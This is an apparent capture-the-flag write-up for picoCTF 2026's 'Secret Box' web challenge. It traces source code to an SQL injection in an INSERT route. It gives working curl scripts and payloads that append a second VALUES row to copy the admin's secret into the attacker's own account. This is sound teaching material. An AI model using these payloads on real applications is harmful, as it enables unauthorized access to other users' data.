7 min read

picoCTF 2026 Secret Box Writeup: SQL Injection in an INSERT to Steal the Admin's Secret

A white-box walkthrough of picoCTF 2026's Secret Box: the /secrets/create route concatenates content straight into an INSERT, so we append a second VALUES row and copy the admin's secret to ourselves.
SQL injection payload appending a second INSERT VALUES row to copy the admin secret

This is a Web challenge from picoCTF 2026: Secret Box.

Challenge description:

This secret box is designed to conceal your secrets.

It's perfectly secure—only you can see what's inside.

Or can you? Try uncovering the admin's secret.

This challenge gives you the source code from the start, so it isn't a pure black-box guessing game.

What the challenge says is:

Everyone can only see their own secret
but we need to find a way to see the admin's secret

For this kind of challenge, you usually want to look at two things first:

  • how the secret is stored
  • how the site decides whose secret this is

Challenge info

  • Challenge: Secret Box
  • Category: Web Exploitation
  • Difficulty: Medium
  • Platform: picoCTF 2026

This writeup follows the actual solving process; the point is to understand:

Express + EJS
PostgreSQL
auth_token
owner_id
SQL injection

In the end we don't log into the admin page directly; instead we use SQL injection to copy the admin's secret into our own secret box.

Step 1: Download the source code

First create a folder:

cd /mnt/d/Download
mkdir -p secretbox
cd secretbox

Set the URLs:

BASE='http://candy-mountain.picoctf.net:58604'
SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz'

Download and extract:

curl -sS -L "$SRC" -o source.tar.gz
mkdir -p src
tar -xzf source.tar.gz -C src

rg --files src

You'll see:

src/source/docker-compose.yml
src/source/app/Dockerfile
src/source/db/Dockerfile
src/source/db/initdb.sql
src/source/app/src/handler.js
src/source/app/src/db.js
src/source/app/src/server.js
src/source/app/src/views/login.ejs
src/source/app/src/views/index.ejs
src/source/app/src/views/create_secret.ejs
src/source/app/src/views/my_secrets.ejs
src/source/app/src/views/signup.ejs

There aren't many files; the main flow should be in:

server.js: routes
handler.js: login state / token
initdb.sql: database schema
db.js: admin password / flag initialization
views/*.ejs: how the page is displayed

Step 2: What is EJS

Seeing .ejs for the first time might feel unfamiliar. EJS is a template engine commonly used with Node.js / Express, and its full name is:

Embedded JavaScript templates

You can think of it as Flask's Jinja.

Flask Express / Node
render_template("index.html", data=x) res.render("index", { data: x })
Jinja template EJS template
{{ value }} <%= value %>

The home page in this challenge renders like this:

return res.render('my_secrets', {secrets: query.rows});

EJS displays the secret like this:

<%= sec.content %>

<%= %> performs HTML escaping, so for now this challenge doesn't look like EJS SSTI, and it isn't an XSS challenge either.

EJS is only responsible for displaying the data; what really matters is the backend SQL.

Step 3: Look at the database structure

First look at initdb.sql:

nl -ba src/source/db/initdb.sql | sed -n '1,80p'

The key part is these three tables:

CREATE TABLE users (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    username text NOT NULL,
    password text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

CREATE TABLE tokens (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id text NOT NULL REFERENCES users(id),
    created_at timestamptz NOT NULL DEFAULT now(),
    expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);

CREATE TABLE secrets (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    owner_id text NOT NULL REFERENCES users(id),
    content text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

Here you can first understand the data relationships:

users.id
  -> tokens.user_id
  -> secrets.owner_id

In other words:

a token maps to a user
a secret also maps to a user

The admin's UUID is also in the init file:

INSERT INTO users(id, username, password)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');

INSERT INTO secrets(owner_id, content)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');

Although the local source has a fake flag, db.js updates it to the real flag when the production environment starts up:

await db('users')
  .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ password: process.env.USERPASSWORD });

await db('secrets')
  .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ content: process.env.FLAG });

So we can confirm:

the admin's secret is the flag
the admin's owner_id is a fixed UUID

Step 4: How login state is determined

handler.js is responsible for reading the cookie:

const cookies = getCookies(req.headers.cookie);
const token = cookies.auth_token;

If there's a token, it queries the database:

const query = await db.raw(
    `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
    [token]
);

If found, it puts the user ID into the request:

req.userId = query.rows[0].user_id;

So login state in this challenge works like this:

the cookie contains auth_token
-> found in the tokens table
-> req.userId = tokens.user_id

The home page / uses req.userId to query your own secrets:

const query = await db.raw(
    `SELECT * FROM secrets WHERE owner_id = ?`,
    [userId]
);

return res.render('my_secrets', {secrets: query.rows});

This is a parameterized query, so there's no direct IDOR here.

Because the home page only queries:

SELECT * FROM secrets WHERE owner_id = my own userId

So if we want to see the admin secret, we can't just change the URL; we have to find a way to make the admin secret become "our own secret".

Step 5: Finding the real SQL injection

Look at the route in server.js that creates a secret:

nl -ba src/source/app/src/server.js | sed -n '120,140p'

The key part is this:

app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
    );

    return res.redirect('/');
});

The problem is on this line:

`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`

userId and content are concatenated directly into the SQL. userId comes from the token and is normally hard to control, but content is what we type in when creating a secret, so it's under our control.

What the backend intends to do is:

INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'my secret')

If content can close the string early, we can turn the SQL into:

INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'x'),
       ('my userId', 'another secret')--')

This isn't sending two SQL statements; more accurately, it's:

appending a second VALUES row inside the same INSERT.

Step 6: Register a normal user and log in

First register a normal account:

BASE='http://candy-mountain.picoctf.net:58604'
C=secretbox_cookies.txt
USER="u$(date +%s)"
PASS="Passw0rd!"

curl -sS -i -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 01_signup.http

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 02_login.http

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

echo "USER=$USER"
echo "TOKEN=$TOKEN"
sed -n '1,100p' 02_login.http

After a successful login you'll see:

HTTP/1.1 302 Found
Set-Cookie: auth_token=...
Location: /

The auth_token here matters, because we know the token but not our own user_id.

But the database knows it:

SELECT user_id FROM tokens WHERE id='our token'

So later we can use this subquery to let the database find the current user ID for us.

Step 7: Use a marker to prove the SQL injection works

Don't rush to grab the flag yet; first use a marker to confirm we can really insert a second secret row.

A marker is just a tag we deliberately insert, for example:

MARK1788101140

Payload:

MARK="MARK$(date +%s)"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--"

printf '%s\n' "$PAYLOAD"

Send it:

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 03_marker.http

sed -n '1,120p' 03_marker.http

curl -sS -b "$C" "$BASE/" -o 04_home_marker.html
grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http

Result:

04_home_marker.html:MARK1788101140

This means the marker already shows up in our own Secret Box.

In other words, this payload successfully made the database insert an extra secret row:

INSERT INTO secrets(owner_id, content)
VALUES ('my userId', 'x'),
       ((SELECT user_id FROM tokens WHERE id='my token'), 'MARK1788101140')--')

The subquery inside it:

SELECT user_id FROM tokens WHERE id='my token'

returns our own user ID, so the second secret row is effectively:

('my userId', 'MARK1788101140')

Only after the marker test succeeds do we move on to the next step.

Step 8: Copy the admin secret into your own box

The source code already told us the admin's UUID:

e2a66f7d-2ce6-4861-b4aa-be8e069601cb

The admin secret is stored in:

secrets.content

So to query the admin secret, we can use:

SELECT content
FROM secrets
WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb'
LIMIT 1

Take this part of the marker payload:

'MARK'

and replace it with this query:

(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)

The full command:

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--"

printf '%s\n' "$PAYLOAD"

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 05_dump_admin_secret.http

sed -n '1,120p' 05_dump_admin_secret.http

curl -sS -b "$C" "$BASE/" -o 06_home_flag.html
grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html

Result:

picoCTF{Redacted}

The idea here is:

Row 1: insert an ordinary x
Row 2: owner_id is myself, content is the admin secret

So when the home page finally queries our own secrets:

SELECT * FROM secrets WHERE owner_id = my userId

it displays the admin secret we just copied over.

How the SQL comes together

The part of this challenge that trips people up most is this payload:

x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')--

A toy example makes it easier to understand.

Suppose the tables look like this:

users
U1 admin
U2 kevin

tokens
T2 -> U2

secrets
U1 -> picoCTF{secret}

Adding a secret normally:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'hello')

If content is:

x'), ('U2', 'MARK')--

After the backend concatenates it, it becomes:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'), ('U2', 'MARK')--')

This inserts two rows:

U2 -> x
U2 -> MARK

But we don't necessarily know that our own user ID is U2, so we change it to let the database look it up from the token:

SELECT user_id FROM tokens WHERE id='T2'

The payload becomes:

x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')--

Finally, replace MARK with the admin secret:

x'), (
  (SELECT user_id FROM tokens WHERE id='T2'),
  (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1)
)--

which is equivalent to:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'),
       ('U2', 'picoCTF{secret}')--')

So this challenge isn't about directly bypassing "you can only see your own secret"; it's about copying the admin secret into your own secret.

Key takeaways

Secret Box is a really well-chosen name for this challenge.

On the surface, everyone's box only queries their own owner_id, so the permissions look correct.

But the place where secrets are created has a SQL injection.

So we can quietly ask the database to do one thing:

add a new secret for me
the owner is me
the content is the admin's secret

That's the core idea of this challenge.